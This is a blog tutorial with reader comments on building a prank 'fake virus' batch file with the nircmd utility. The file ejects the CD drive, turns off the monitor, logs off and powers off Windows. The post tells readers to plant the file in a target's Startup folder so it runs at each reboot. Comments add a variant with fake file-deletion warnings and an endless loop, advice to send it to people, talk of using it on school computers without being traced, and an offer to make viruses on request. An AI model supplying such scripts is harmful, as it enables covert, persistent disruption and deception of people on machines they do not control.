How to create a simple fake virus for windows by using the nircmd utility by nirsoft.org

Have you ever dreamed of creating a fake virus yourself to play a prank by installing the virus on your friend computer and a making a fool of him. If Yes then this post is of great interest to you.

So what would you like to do with a virus to make your friend believe that a virus has infected his/her computer.

Hmm….let me guess ?

1. Suddenly Opening and closing of cd drive.

2. Power off the monitor.

3. Log out the user out of windows xp.

4. Turn off the computer.

5. and much more….well actually any of the above events combination can make any windows user think that his/her system is infected.

Requirements For Virus To Run: Windows NT, Windows 2000 and Windows XP So you cannot run this utility on Windows 9x machines.

So How To Make and Execute the virus:

1. Firstly you don’t have to make any virus ,you just need to download a nifty utility called nircmd.exe from here (Provided By Nirsoft.net).

2. Now double click the downloaded nircmd.exe and click the button which says “Copy To Windows Directory“.

3. You need to create a batch file , so open notepad and enter these commands line by line or simply just copy the text below in notepad and save it as fun.bat any where on the targeted computer.

cd %windir%
nircmd.exe cdrom open d:
nircmd.exe cdrom close d:
nircmd.exe monitor off
nircmd.exe exitwin logoff
nircmd.exe exitwin poweroff

4. Now drag to place the fun.bat in the start>>all programs>>startup and next time the person(your friend) who will reboot the computer will be the victim.

Enjoy the fun and leave your comments about your experiences with this funny fake virus for windows xp and do let me know if you have any problems in installing or running the virus.

There is lot more to explore about nircmd.exe ,So Check the NirCmd Utilty Page at Nirsoft.net

Download NirCmd | Download Fun.Bat

Playing with this tool can be real fun if you really know how to play with it.

Note: if you have caused any damage to your computer due to the above utility boot up in safe mode and remove the batch file from the start up.

P.S: I am not responsible for any damage caused to your system because of the above tool and the batch file.

Thanks !!!!!!!
but i hv some more kool viruses created by
which can create bad sectors in the hard disk !!!!

I am at school as of right now.
And i was just going to play a prank on our crappy computer crew.
Now will this show you who installed the “fake virus”. Or will it come up as unknown.
I have heard that this can easily be taken off as well.
So what I would do is put it on and then take it off the next day.
help?

Hey people, this has worked good..
but a few things:
the disc drive thing doesnt work..
however, to create messages, you must do something else..
this is my own created one.. with text etc.
@echo off
echo THIS IS A VIRUS
pause
echo LETS TURN OFF YOUR MONITOR!
pause
nircmd.exe monitor off
pause
echo NOW OPEN AND CLOSE DISC DRIVE
pause
cd %windir%
nircmd.exe cdrom open d:
nircmd.exe cdrom close d:
pause
echo OKAY, NOW DELETE ALL FILES.
:1
dir/s
goto 1
pause
echo FINALLY, FINISHED
pause
echo WARNING: MISSING FILES!
pause
echo DELETING C:/DOCUMENTS AND SETTING/USER/META DATA/WINDOWS
pause
echo SYSTEM MUST SHUT DOWN!
pause
nircmd.exe exitwin poweroff

You may copy this..
PAuse means you must press enter to continue…
and echo is the text.
You can send it to someone and if he accepts and opens it, he has the fake virus.. if you have any questions or want me to make a virus for you, contact me at wesley_shana@hotmail.com
Save the file as >>NAME<<.bat. so if you want to rename it as Soldier.. it must be Soldier.bat.. ENJOY !!
